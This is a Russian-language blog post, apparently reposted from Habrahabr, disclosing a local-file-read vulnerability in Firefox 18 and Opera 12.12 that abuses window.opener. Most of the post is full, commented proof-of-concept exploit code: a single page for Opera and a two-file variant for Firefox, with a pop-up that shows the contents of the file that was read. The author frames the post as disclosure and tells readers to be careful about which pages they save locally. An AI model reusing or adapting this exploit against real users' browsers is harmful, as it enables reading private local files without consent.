Уязвимость нулевого дня в FireFox 18 и Opera 12.12

от автора

Продолжив копать и обыгрывать проблему безопасности с window.opener, наткнулся на довольно забавную уязвимость в браузерах FireFox и Opera.
Уязвимость позволяет странице, сохраненной на вашем компьютере, читать произвольные файлы на вашей системе.

Уязвимость существует из-за недостаточного контроля за сменой window.opener.
Атакующий может встроить в страницу произвольный HTML код и при запуске данной страницы на локальной системе, появляется возможность прочитать содержимое почти любого файла (Разумеется, при наличии привилегий).

Opera

Т.к уязвимость довольно простая, то сразу публикую exploit. С проблемой window.opener, можно познакомиться тут.

<html> <body> <script>
if((navigator.userAgent.indexOf("Opera") != -1) && (window.location.protocol == "file:")) {  //запуск кода только в браузере Opera и при вызове страницы через протокол file  var file=prompt("Example: C:/file.txt "); //Какой файл хотим прочитать?   if(file){  console.log("File: "+file);  document.write("<center>"+  "<a href='data:text/html,"+ //создадим ссылку, использующую протокол data   "<script>"+  "if(window.opener){"+ //ТОЛЬКО если window.opener инициализирован  "window.opener.location.replace(%22file://"+window.location.hostname+"/"+file+"%22);"+ //меняем адрес родительской вкладки на путь к файлу   "};%3C%2Fscript%3E"+  "%3Cscript%3E"+ // Используя второй тег script, обойдем систему безопасности  "alert(window.opener.document.body.innerHTML);"+ //Вывод содержимого файла :)  "%3C%2Fscript%3E"+  "' target='_blank'>"+ //target= _blank "CLICK-CLICK</a>"); }}
</script> </body> </html> 

Видео, демонстрирующее данную уязвимость:

FireFox

Уязвимость в этом браузере аналогичная, но тут ее сложнее эксплуатировать.

Для полного доступа к данным, код нужно поместить в корень диска.
На nix’ах не тестировал и следовательно, о поведении кода в nix’ах, говорить не могу.
Тут код состоит из двух файлов, для обхода ограничений в браузере.

Файл первый (Fir.html):

<html> <body> <script>
 if((navigator.userAgent.indexOf("Firefox") != -1) && (window.location.protocol == "file:")){  //запуск кода только в браузере Firefox и при вызове страницы через протокол file   document.write("<center>"+  "<a href='./payload.html'"+ //вызываем payload.html  " target='_blank'>CLICK-CLICK</a>"); //target=_blank }; 
 </script> </body> </html> 

Файл второй (payload.html):

<html> <body> <script> 
var file=prompt('Example: C:/file.txt'); console.log(file); window.opener.location="file://localhost/"+file;
</script> <script>
var al=function(){alert(window.opener.document.body.innerHTML)}; //Выводим файл while(!window.opener.document.body){ //window.opener.document.body=null alert('Click OK'); //задержка al(); //Вызов функции };
</script> </body> </html> 

Видео:

Злоключение

То что exploit может сработать только находясь на целевой системе, не делает данную уязвимость критической.
Однако тех, кто любит сохранять странички на своем компьютере, я прошу внимательней выбирать ресурсы 🙂

ссылка на оригинал статьи http://habrahabr.ru/post/165339/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *